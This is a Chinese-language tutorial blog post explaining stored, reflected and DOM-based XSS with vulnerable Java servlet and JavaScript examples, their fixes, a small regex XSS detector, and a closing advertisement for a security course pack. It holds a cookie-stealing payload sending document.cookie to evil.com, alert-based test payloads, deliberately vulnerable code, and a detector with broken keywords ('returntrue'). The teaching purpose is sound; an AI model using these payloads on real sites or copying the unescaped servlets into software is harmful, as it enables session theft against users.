一篇吃透跨站脚本攻击(XSS)全攻略(含 Java 实例、漏洞剖析与修复方案)
在当今互联网高度发达的时代,Web应用已成为人们日常生活和企业运营中不可或缺的一部分。然而,随着功能的日益丰富,Web安全问题也愈发严峻。其中,跨站脚本攻击(XSS, Cross-Site Scripting) 是最常见、危害性极高的前端安全漏洞之一。
目录
- 什么是 XSS?
- XSS 类型详解
- 存储型 XSS(Stored XSS)
- 反射型 XSS(Reflected XSS)
- DOM型 XSS(DOM-based XSS)
- 通用防御方法
- 小彩蛋:用 Java 写一个简单的 XSS 检测器!
什么是 XSS?
跨站脚本攻击(Cross-Site Scripting,简称 XSS),指的是攻击者将恶意 JavaScript 脚本注入网页,当用户浏览时,在用户浏览器中执行,达到窃取数据、劫持操作、破坏界面的目的。

用户以为访问的是网站,实际上执行的是黑客的脚本。
XSS 类型详解
存储型 XSS(Stored XSS)
攻击者将恶意脚本提交到服务器(比如评论区、帖子等),服务器存储后,每次有人访问时,恶意代码都会被执行。

Java 漏洞示例(Servlet版)
java
@WebServlet("/comment")
public class CommentServlet extends HttpServlet {
private static List<String> comments = new ArrayList<>();
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
String comment = request.getParameter("comment");
comments.add(comment);
response.sendRedirect("/view-comments");
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
for (String comment : comments) {
out.println("<p>" + comment + "</p>");
}
}
}
攻击示例
攻击者提交:
html
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
浏览器访问评论区时,自动执行脚本,窃取 Cookie。
漏洞分析
-
输入未过滤
-
输出未编码
-
直接拼接到 HTML 中
修复示例
java
import org.owasp.encoder.Encode;
for (String comment : comments) {
out.println("<p>" + Encode.forHtml(comment) + "</p>");
}
使用 输出编码,确保 <、> 等字符不会被解释为 HTML 标签。
反射型 XSS(Reflected XSS)
攻击者通过 URL 参数传递恶意脚本,服务器直接将参数返回到页面,导致脚本执行。

Java 漏洞示例
java
@WebServlet("/search")
public class SearchServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
String keyword = request.getParameter("q");
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
out.println("<h2>Search Results for: " + keyword + "</h2>");
}
}
攻击示例
访问:
http://example.com/search?q=<script>alert('XSS')</script>
网页内容直接变成:
html
<h2>Search Results for: <script>alert('XSS')</script></h2>
浏览器执行脚本。
漏洞分析
- 参数未验证
- 输出未转义
- 动态拼接 HTML 内容
修复示例
java
import org.owasp.encoder.Encode;
out.println("<h2>Search Results for: " + Encode.forHtml(keyword) + "</h2>");
或者在前端用安全标签,比如 JSP 的 <c:out> 自动转义输出。
DOM型XSS(DOM-based XSS)
不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。
攻击流程
- 攻击者构造带恶意数据的链接
- 前端 JavaScript 解析 URL 参数
- 恶意脚本被注入到页面中
JavaScript 漏洞示例
html
<div id="msg"></div>
<script>
var params = new URLSearchParams(window.location.search);
var username = params.get('user');
document.getElementById('msg').innerHTML = "Welcome, " + username;
</script>
攻击示例
链接:
php-template
http://example.com/page.html?user=<img src=x onerror=alert('XSS')>
页面执行:
html
Welcome, <img src=x onerror=alert('XSS')>
弹窗提示,证明脚本注入成功。
漏洞分析
- 使用 innerHTML
- 无输入校验
- 浏览器直接解析成 DOM 节点
修复示例
javascript
document.getElementById('msg').textContent = "Welcome, " + username;
使用 textContent 防止 HTML 解析,从根源杜绝 DOM型 XSS。
通用防御方法总结
| 防御措施 | 说明 |
|---|---|
| 输出编码 | 输出到 HTML 页面时,对内容进行 HTML Encode |
| 输入校验 | 检查并限制用户输入类型和长度 |
| 前端安全 API | 使用 textContent、setAttribute 等安全方法 |
| 安全库支持 | 使用 OWASP Java Encoder、Spring Security |
| CSP安全策略 | 配置 Content-Security-Policy,限制脚本来源 |
小彩蛋
用 Java 写一个简单的 XSS 检测器! 为了更好理解 XSS 注入原理,我们可以写一个简单的 XSS 检测小工具,快速扫描可疑输入!
简单版 Java XSS 检测器
java
import java.util.regex.Pattern;
public class XssDetector {
private static final Pattern[] patterns = new Pattern[]{
Pattern.compile("<script>(.*?)</script>", Pattern.CASE_INSENSITIVE),
Pattern.compile("src[\r\n]*=[\r\n]*\\'(.*?)\\'", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL),
Pattern.compile("</script>", Pattern.CASE_INSENSITIVE),
Pattern.compile("<script(.*?)>", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL),
Pattern.compile("onload(.*?)=", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL)
};
public static boolean isXssAttack(String input) {
if (input != null) {
for (Pattern pattern : patterns) {
if (pattern.matcher(input).find()) {
returntrue;
}
}
}
returnfalse;
}
public static void main(String[] args) {
String suspiciousInput = "<script>alert('XSS')</script>";
if (isXssAttack(suspiciousInput)) {
System.out.println("⚠️ 检测到潜在的XSS攻击!");
} else {
System.out.println("✅ 输入安全。");
}
}
}
学习资源
如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你
知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。
1、知识库价值
深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。
广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。
实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。
2、 部分核心内容展示
360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。
内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。
1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群
一、基础适配人群
- 零基础转型者:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链;
- 开发/运维人员:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展或者转行就业;
- 应届毕业生:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期;
二、能力提升适配
1、技术爱好者:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者;
2、安全从业者:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力;
3、合规需求者:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员;
因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

更多推荐



所有评论(0)